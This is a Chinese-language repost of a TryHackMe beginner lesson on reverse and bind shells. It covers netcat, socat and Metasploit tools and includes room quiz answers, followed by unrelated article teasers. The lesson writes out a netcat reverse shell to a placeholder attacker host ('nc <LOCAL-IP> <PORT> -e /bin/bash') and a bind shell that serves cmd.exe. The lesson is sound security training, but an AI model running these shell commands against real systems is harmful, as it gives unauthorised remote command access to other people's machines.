【THM】What the Shell?(什么是壳?)-初级渗透测试

什么是shell?

在我们深入了解发送和接收 shell 的复杂性之前,了解 shell 的实际含义非常重要用最简单的术语来说,shell 是我们与命令行环境 (CLI) 交互时使用的工具。换句话说,Linux中常见的 bash 或 sh 程序都是 shell 的例子,Windows 上的 cmd.exe 和 Powershell 也是如此。当针对远程系统时,有时可能会强制在服务器(例如网络服务器)上运行的应用程序执行任意代码。发生这种情况时,我们希望使用此初始访问来获取在目标上运行的 shell。

简而言之,我们可以强制远程服务器向我们发送对服务器的命令行访问(反向shell),或者打开服务器上的端口,我们可以连接到该端口以执行进一步的命令(绑定shell) )。

我们将在整个房间中更详细地介绍这两种场景。

这个房间的格式如下:

  • 房间的大部分内容由信息组成,代码块和屏幕截图中给出了示例。
  • 房间的最后两项任务中有两台虚拟机——一台是Linux ,一台是 Windows。这些可以用来练习所演示的技术。
  • 任务 13 中有示例练习题。请随意完成这些练习,或者在完成任务时按照任务进行操作。

话不多说,让我们开始吧!

工具

我们将使用多种工具来接收反向 shell 和发送绑定 shell。一般来说,我们需要恶意 shell 代码,以及与生成的 shell 交互的方法。我们将在下面简要讨论其中的每一个:

Netcat

Netcat 是传统的网络“瑞士军刀”。它用于手动执行各种网络交互,包括在枚举期间抓取横幅之类的操作,但对于我们的用途来说更重要的是,它可以用于接收反向 shell 并连接到附加到目标系统上的绑定 shell 的远程端口。默认情况下,Netcat shell 非常不稳定(容易丢失),但可以通过我们将在即将到来的任务中介绍的技术进行改进。

Socat

Socat 就像使用了类固醇的 Netcat。它可以做所有相同的事情,甚至更多。 Socat shell 通常比开箱即用的 netcat shell 更稳定。从这个意义上来说,它比 netcat 优越得多;然而,有两个大问题:

  1. 语法比较难
  2. 默认情况下,Netcat 几乎安装在每个Linux发行版上。默认情况下很少安装 Socat。

这两个问题都有解决方法,我们将在稍后介绍。

Socat 和 Netcat 都有可在 Windows 上使用的 .exe 版本。

Metasploit——多/处理程序:

Metasploit框架的模块exploit/multi/handler与socat和netcat一样,用于接收反向shell。由于是 Metasploit 框架的一部分,multi/handler 提供了一种成熟的方法来获取稳定的 shell,并提供多种进一步的选项来改进捕获的 shell。它也是与meterpreter shell交互的唯一方法,也是处理分阶段有效负载的最简单方法——我们将在任务 9 中讨论这两个方法。

Msfvenom:

与 multi/handler 一样,msfvenom 在技术上是Metasploit框架的一部分,但它是作为独立工具提供的。 Msfvenom 用于动态生成有效负载。虽然 msfvenom 可以生成除反向和绑定 shell 之外的有效负载,但这些是我们在这个房间中将重点关注的内容。 Msfvenom 是一个非常强大的工具,因此我们将在专门的任务中更详细地介绍它的应用。

除了我们已经介绍过的工具之外,还有一些采用多种不同语言的 shell 存储库。其中最突出的之一是Payloads all the Things。 PentestMonkey Reverse Shell Cheatsheet也很常用。除了这些在线资源之外,Kali Linux还预装了各种 webshel​​l,位于/usr/share/webshells. SecLists repo虽然主要用于单词列表,但也包含一些用于获取 shell 的非常有用的代码。

shell类型

在高层次上,我们对利用目标的两种 shell 感兴趣:反向 shell 和绑定 shell。

  • 反向 shell是指目标被迫执行连接您的计算机的代码。在您自己的计算机上,您将使用上一个任务中提到的工具之一来设置用于接收连接的侦听器。反向 shell 是绕过防火墙规则的好方法,这些规则可能会阻止您连接到目标上的任意端口;但是,缺点是,当通过互联网从计算机接收 shell 时,您需要配置自己的网络以接受 shell。然而,由于我们连接网络的方法,这在 TryHackMe 网络上不会成为问题。
  • 绑定 shell是指在目标上执行的代码用于启动附加到直接在目标上的 shell 的侦听器。然后,这将向互联网开放,这意味着您可以连接到代码已打开的端口并以这种方式获得远程代码执行。这样做的优点是不需要在您自己的网络上进行任何配置,但可能会被保护目标的防火墙阻止。

一般来说,反向 shell 更容易执行和调试,但是,我们将在下面介绍这两个示例。不要太担心这里的语法:我们将在接下来的任务中查看它。相反,请注意以下模拟中反向 shell 和绑定 shell 之间的差异。


反向Shell示例:

我们先从比较常见的反向shell开始。

十分之九,这就是您所追求的——尤其是在像 TryHackMe 这样的 CTF 挑战中。

看看下面的图片。左边有一个反向 shell 监听器——这是接收连接的。右边是发送反向shell的模拟。实际上,这更有可能通过远程网站上的代码注入或类似的方式来完成。将左侧的图像想象为您自己的计算机,将右侧的图像想象为目标。

在攻击机上:

sudo nc -lvnp 443

关于目标:

nc <LOCAL-IP> <PORT> -e /bin/bash

请注意,运行右侧的命令后,侦听器会收到连接。当运行 whoami 命令时,我们看到我们正在以目标用户身份执行命令。这里重要的是我们正在监听我们自己的攻击机器,并目标发送连接。

绑定shell示例:

绑定 shell 不太常见,但仍然非常有用。

再次看一下下面的图片。同样,左边是攻击者的计算机,右边是模拟目标。只是为了稍微改变一下,这次我们将使用 Windows 目标。首先,我们在目标上启动一个侦听器 - 这次我们还告诉它执行cmd.exe。然后,随着侦听器的启动并运行,我们从自己的计算机连接到新打开的端口。

关于目标:

nc -lvnp <port> -e "cmd.exe"

在攻击机上:

nc MACHINE_IP <port>

正如您所看到的,这再次让我们在远程计算机上执行代码。请注意,这并非特定于 Windows。

这里要理解的重要一点是,我们正在监听目标,然后用我们自己的机器连接到它。


与此任务相关的最后一个概念是交互性。 Shell 可以是交互式的,也可以是非交互式的

交互式:如果您使用过 Powershell、Bash、Zsh、sh 或任何其他标准CLI环境,那么您将习惯
交互式 shell。这些允许您在执行程序后与程序进行交互。例如,以SSH登录提示为例:

在这里您可以看到它以交互方式询问用户键入 yes 或 no 以便继续连接。这是一个交互式程序,需要交互式 shell 才能运行。

非交互式shell 不会给您带来那种奢侈。在非交互式 shell 中,您只能使用不需要用户交互才能正常运行的程序。不幸的是,大多数简单的反向和绑定 shell 都是非交互式的,这可能会使进一步的利用变得更加棘手。让我们看看当我们尝试在非交互式 shell 中运行SSH

时会发生什么:请注意,whoami命令(非交互式)完美执行,但命令ssh交互式)根本没有给我们任何输出。有趣的是,交互式命令的输出确实会去某个地方,但是,弄清楚哪里是您自己尝试的练习。可以说,交互式程序无法在非交互式 shell 中运行。

此外,在整个任务的各个地方,您将在屏幕截图中看到一个名为 的命令listener。该命令是用于演示的攻击机器特有的别名,并且是键入的简写方式sudo rlwrap nc -lvnp 443,将在接下来的任务中介绍。除非在本地配置了别名,否则它将无法在任何其他计算机上工作。

3.1哪种类型的 shell 连接计算机上的侦听端口:反向 (R) 还是绑定 (B)? R

3.2您已将恶意 shell 代码注入网站。您收到的 shell 可能是交互式的吗? (是或否)  N

3.3使用绑定 shell 时,您会在攻击者 (A) 还是目标 (T) 上执行侦听器?  T

Netcat

如前所述,当涉及任何类型的网络时,Netcat 是渗透测试人员工具包中最基本的工具。有了它,我们可以做各种各样有趣的事情,但现在让我们关注 shell。

反向shell

在上一个任务中,我们看到反向 shell 需要 shellcode 和侦听器。执行 shell 的方法有很多种,因此我们将从查看侦听器开始。

使用Linux启动 netcat 侦听器的语法如下:

nc -lvnp <port-number>

  • -l用于告诉 netcat 这将是一个侦听器
  • -v用于请求详细输出
  • -n告诉 netcat 不要解析主机名或使用DNS。解释这一点超出了房间的范围。
  • -p表示将遵循端口规范。

上一个任务中的示例使用端口 443。实际上,您可以使用您喜欢的任何端口,只要还没有服务使用它即可。请注意,如果您选择使用低于 1024 的端口,则需要sudo在启动侦听器时使用。也就是说,使用众所周知的端口号(80、443 或 53 是不错的选择)通常是一个好主意,因为这更有可能通过目标上的出站防火墙规则。

一个可行的例子是:

sudo nc -lvnp 443

然后,我们可以使用任意数量的有效负载连接回此,具体取决于目标上的环境。

上一个任务中显示了这样的示例。

绑定shell

如果我们希望在目标上获得绑定 shell,那么我们可以假设目标的选定端口上已经有一个侦听器在等待我们:我们需要做的就是连接到它。其语法相对简单:

nc <target-ip> <chosen-port>

在这里,我们使用 netcat 在我们选择的端口上建立到目标的出站连接。

我们将在任务 8 中了解如何使用 netcat 为此类 shell 创建侦听器。这里重要的是您了解如何使用 netcat 连接到侦听端口。

4

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/534939.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

简单了解JVM

一.JVM简介 jvm及Java virtual machineJava虚拟机&#xff0c;它是一个虚构出来的计算机&#xff0c;一种规范。其实抛开这么专业的句子不说&#xff0c;就知道 JVM 其实就类似于一台小电脑运行在 windows 或者 linux 这些操作系统环境下即可。它直接和操作系统进行交互&#…

BUUCTF---misc--snake

1.下载附件&#xff0c;解压后是一张蛇的图片 2.查看属性&#xff0c;没有有用信息&#xff0c;用winhex打开&#xff0c;在文末找到了PK字样&#xff0c;图片被压缩了。 3.用binwalk命令&#xff0c;查看&#xff0c;有压缩包 4.用foremost命令分离&#xff0c;将文件保存到te…

repl_backlog原理

2.2.3.repl_backlog原理 master怎么知道slave与自己的数据差异在哪里呢? 这就要说到全量同步时的repl_baklog文件了。 这个文件是一个固定大小的数组&#xff0c;只不过数组是环形&#xff0c;也就是说角标到达数组末尾后&#xff0c;会再次从0开始读写&#xff0c;这样数组…

基因查询常用汇总网(自备)

目录 NCBI genecards HPA数据库 gepia2 cbioporta kmplot生存分析 ualcan ​​​​​​​ 进行一些常用的基因功能蛋白及表达的网站查询汇总&#xff0c;方便个人使用 NCBI National Center for Biotechnology Information (nih.gov) 查询基因的曾用名和其他ID&…

kubernetes有ingress-controler以及没有外部loadbalancer 的情况下使用istio-gateway.

那就配置一个ingress-使用已有ingress-controler代理istio-gateway class创建的gateway svc来公开。

day8 nest商业项目初探·四(java转ts全栈/3R教室)

背景&#xff1a;从头一点点学起太慢了&#xff0c;直接看几个商业项目吧&#xff0c;看看根据Java的经验&#xff0c;自己能看懂多少&#xff0c;然后再系统学的话也会更有针对性。今天看下一个项目 【加拿大 | 7.8w】TS全栈&#xff1a;Youni校园社交网络 (2022.10) - 3R酷 |…

嵌入式网线连接——笔记本电脑设置

一、需求 我们调试很多设备经常需要用到网线去调试&#xff0c;当然主流是USB&#xff0c;和网线。 二、笔记本电脑端设备 有网口的&#xff0c;非常方便&#xff0c;如果没有网口&#xff0c;则需要用到USB转网口 连接指示灯&#xff1a; 绿色&#xff1a;灯亮表示连接正常…

Python+Selenium+Unittest 之Unittest5(常用装饰器-跳过用例执行)

目录 1、unittest.skip()&#xff08;跳过该装饰器下的用例&#xff09; 2、unittest.skipIf()&#xff08;跳过该装饰器下判断条件为True的用例&#xff09; 3、unittest.skipUnless()&#xff08;跳过该装饰器下判断条件为False的用例&#xff09; 4、unittest.expectedF…

【java探索之旅】走进循环结构 深入解析while、for和do while的用法

&#x1f3a5; 屿小夏 &#xff1a; 个人主页 &#x1f525;个人专栏 &#xff1a; Java编程秘籍 &#x1f304; 莫道桑榆晚&#xff0c;为霞尚满天&#xff01; 文章目录 &#x1f4d1;前言一、循环结构1.1 while循环1.2 while代码示例1.3 break1.4 continue 二、for循环2.1 基…

Cohere推出全新升级版RAG大型AI模型:支持中文,搭载1040亿参数,现开源其权重!

4月5日&#xff0c;知名类ChatGPT平台Cohere在其官方网站上发布了一款全新的模型——Command R。 据官方消息&#xff0c;Command R拥有1040亿个参数&#xff0c;并且支持包括英语、中文、法语、德语在内的10种语言。这一模型的显著特点之一在于其对内置的RAG&#xff08;检索增…

网工内推 | 网安、AGV测试网络工程师,厂商认证优先,应届可投

01 神州数码 招聘岗位&#xff1a;网络工程师 职责描述&#xff1a; 1、负责国内外主流安全产品&#xff08;如防火墙、入侵防御、WAF、安全审计等&#xff09;的上线安装、调试、测试、割接、运维等工作。 2、能够独立进行安全类项目实施、问题排查及处理。 3、在出现网络攻…

量子城域网系列(二):量子密钥与通信系统中各层协议融合应用

写在前面。国家标准中对量子保密通信的定义&#xff1a;量子保密通信是利用QKD与其他密码技术结合形成的保密通信技术。 经过这段时间的讨论&#xff0c;我们基本上明白了量子保密通信的内涵、基础协议、技术原理等。我们知道了当前语境下的量子密钥分发网络核心是实现两点之间…

Ubuntu系统使用Docker本地部署Android模拟器并实现公网访问

文章目录 1. 虚拟化环境检查2. Android 模拟器部署3. Ubuntu安装Cpolar4. 配置公网地址5. 远程访问小结 6. 固定Cpolar公网地址7. 固定地址访问 本文主要介绍如何在Ubuntu系统使用Docker部署docker-android安卓模拟器&#xff0c;并结合cpolar内网穿透工具实现公网远程访问本地…

数据分析:小红书爆火赛道的内容洞察

导语 近期&#xff0c;一个名为女生独立计划 的账号于今年2月29日在小红书上发布了第一条作品&#xff0c;而后的40天内&#xff0c;该账号又陆续发布16条作品&#xff0c;目前粉丝量已经达到30W。 那么短期内快速崛起的女生独立计划 内容有何突出之处&#xff1f;且听小编和…

注意力机制篇 | YOLOv8改进之清华开源ACmix:自注意力和CNN的融合 | 性能速度全面提升

前言:Hello大家好,我是小哥谈。混合模型ACmix将自注意力机制和卷积神经网络进行整合,使其同时具有自注意力机制和卷积神经网络的优点。这是清华大学、华为和北京人工智能研究院共同发布在2022年CVPR中的论文。ACmix结合了自注意力机制和卷积神经网络的优势,以提高模型的性能…

Linux权限问题补全—4

1.第二种修改权限的方法&#xff1a; 使用八进制方式修改文件权限&#xff0c;可以一次修改拥有者&#xff0c;所属组&#xff0c;other&#xff0c;三者的权限。举例&#xff1a; ①将三者的权限都修改为可读&#xff0c;可写&#xff0c;可执行 ②将所有用户的权限都取消rwx权…

python 如何获得重定向输入

通过内置的fileinput模块即可实现&#xff0c;创建文件filein.py&#xff1a; #!/usr/bin/env python import fileinput f_input fileinput.input() for line in f_input:print(line, end)增加可执行权限&#xff1a; chmod ax filein.py 使用&#xff1a; $ ls | ./filein.py…

【JavaScript】对象 ① ( 对象概念 | 对象使用场景 | 使用字面量创建对象 | 空对象字面量 | 小括号 / 中括号 / 大括号 作用 )

文章目录 一、JavaScript 对象1、对象概念2、对象使用场景 二、使用字面量创建对象1、使用字面量创建对象2、小括号 / 中括号 / 大括号 作用3、代码示例 - 使用字面量创建对象4、代码示例 - 使用字面量创建空对象 一、JavaScript 对象 1、对象概念 在 JavaScript 中 , 对象 是 …

算法训练营第24天回溯(组合)

回溯&#xff08;组合&#xff09; 模板 void backtracking(参数) {if (终止条件) {存放结果;return;}for (选择&#xff1a;本层集合中元素&#xff08;树中节点孩子的数量就是集合的大小&#xff09;) {处理节点;backtracking(路径&#xff0c;选择列表); // 递归回溯&…

OpenHarmony南向统一编译的docker镜像来了

由于我自己的南向设备开发平台的需求&#xff0c;我将当前几个不同的 docker 镜像版本进行了整合&#xff0c;经过一段时间的攻关和验证&#xff0c;目前整合已完成&#xff0c;新版本的 Dockerfile 如下&#xff0c;这个不是公共需求&#xff0c;所以没有提交主干&#xff0c;…